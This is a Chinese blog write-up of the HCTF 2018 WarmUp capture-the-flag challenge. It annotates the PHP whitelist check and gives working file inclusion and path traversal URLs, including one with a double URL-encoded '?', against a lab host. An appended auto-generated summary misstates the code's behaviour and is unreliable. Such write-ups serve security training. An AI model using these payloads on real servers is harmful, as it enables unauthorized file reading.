BUUCTF [HCTF 2018]WarmUp

BUUCTF [HCTF 2018]WarmUp

先瞅瞅

进入环境,只有一只大大的滑稽,看一下源代码

源代码如下所示

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

在里面看到了source.php,访问一下,发现了网页的源码,大概审计一下,分析内容写在注释里

 <?php
    //高亮显示file
    highlight_file(__FILE__);
    class emmm
    {
    	//一个函数,参数是我们输入的参数$page,传入的是&$page
        public static function checkFile(&$page)
        {
	        //定义了一个白名单,里面是source.php、hint.php
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //isset()用来检测$page是否定义,is_string判断其是否是字符串,不满足会直接返回false
            if (! isset($page) || !is_string($page)) {
                echo "you can not see it";
                return false;
            }
			//这里是如果输入内容在白名单里就会返回true
			
            if (in_array($page, $whitelist)) {
                return true;
            }	
            /*这里将$page中?之前的内容截取出来
            mb_strpos($page . '?', '?')中第一个参数$page . 				'?'是先在$page之后拼接一个?,可能是为了防止找不到问号而发生奇怪的事			情,然后第二个参数就是说要返回?的位置,mb_substr()函数就是将$page		中?之前的内容剪出来,比如我们的输入是?file=source.php?flag时,$page是source.php?flag,然后$_page就是source.php

*/
			$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            //这里是判断$_page是否在白名单里,是的话返回true
            if (in_array($_page, $whitelist)) {
                return true;
            }
			//这里对$page进行url解码并将结果赋给$_page
            $_page = urldecode($page);
            //这里也是提取?之前的内容
            $_page = mb_substr(
                $_page,0,mb_strpos($_page . '?', '?')
            );
            //这里也是判断白名单
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //如果之前都没有匹配上,就会返回false
            echo "you can not see it";
            return false;
        }
    }
	//这里进行了三个判断,参数是否为空,参数是否是字符串,以及调用了上面分析的函数,判断成功就会执行文件包含,否则会见到滑稽
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

分析完代码之后去看下hint.php,发现了flag的位置

由于checkFile函数传入的参数是以引用方式传入的,所以在对$page剪切时会对file直接操作,我们用于绕过的内容会被剪掉,所以include可以正确的去找我们要的文件。

然后开始尝试构造payload,判断函数一共有三个地方可以返回true,第一个没有进行任何操作,只能输入为source.php或者hint.php,显然拿不到flag。

对于第二个返回true的地方,我们可以构造payload为file=source.php?ffffllllaaaagggg或者file=hint.php?ffffllllaaaagggg尝试一下http://77d66993-5e70-49b1-9bbd-93b8cdb3d113.node3.buuoj.cn/source.php?file=source.php?ffffllllaaaagggg,发现没有任何东西,可见我们的方法对了,但是文件不在当前目录,可以一次次加../,加到第五次的时候返回了flag,最终payload为http://77d66993-5e70-49b1-9bbd-93b8cdb3d113.node3.buuoj.cn/source.php?file=source.php?../../../../../ffffllllaaaagggg,其中file=后面也可以替换成hint.php

对于第三个返回true的地方,只需要将?两次url编码就好了,之所以两次是因为这个url传给服务器时会先进行一次url解码,又在脚本里被解码一次,要得到?只能编码两次

payload就是http://77d66993-5e70-49b1-9bbd-93b8cdb3d113.node3.buuoj.cn/source.php?file=source.php%253F../../../../../ffffllllaaaagggg,同样可以得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[HCTF 2018]WarmUp是一个CTF比赛题目,其中涉及到一个叫做emmm的类。这个类中有一个名为checkFile的方法。checkFile方法的作用是对传入的$page参数进行检查。在方法中,首先判断$page是否存在并且是字符串类型,如果不满足条件,则输出"you can't see it"并返回false。接着,将$page与白名单数组$whitelist进行匹配,如果匹配成功,则返回true。如果没有匹配成功,则继续进行下一步操作。 下一步操作中,先对$page进行一次截取操作,截取到第一个问号之前的部分,将截取结果赋值给$_page。然后再次对$_page进行白名单匹配,如果匹配成功,则返回true。如果匹配不成功,则对$_page进行二次URL解码,并再次进行一次截取操作,将结果赋值给$_page。最后再次对$_page进行白名单匹配,如果匹配成功,则输出"sdf you can't see it"并返回true。如果都不满足条件,则输出"you can't see it"并返回false。 这个题目的前身是一个cve漏洞(phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613))。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [[HCTF 2018]WarmUp](https://blog.csdn.net/m0_62709637/article/details/125022518)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值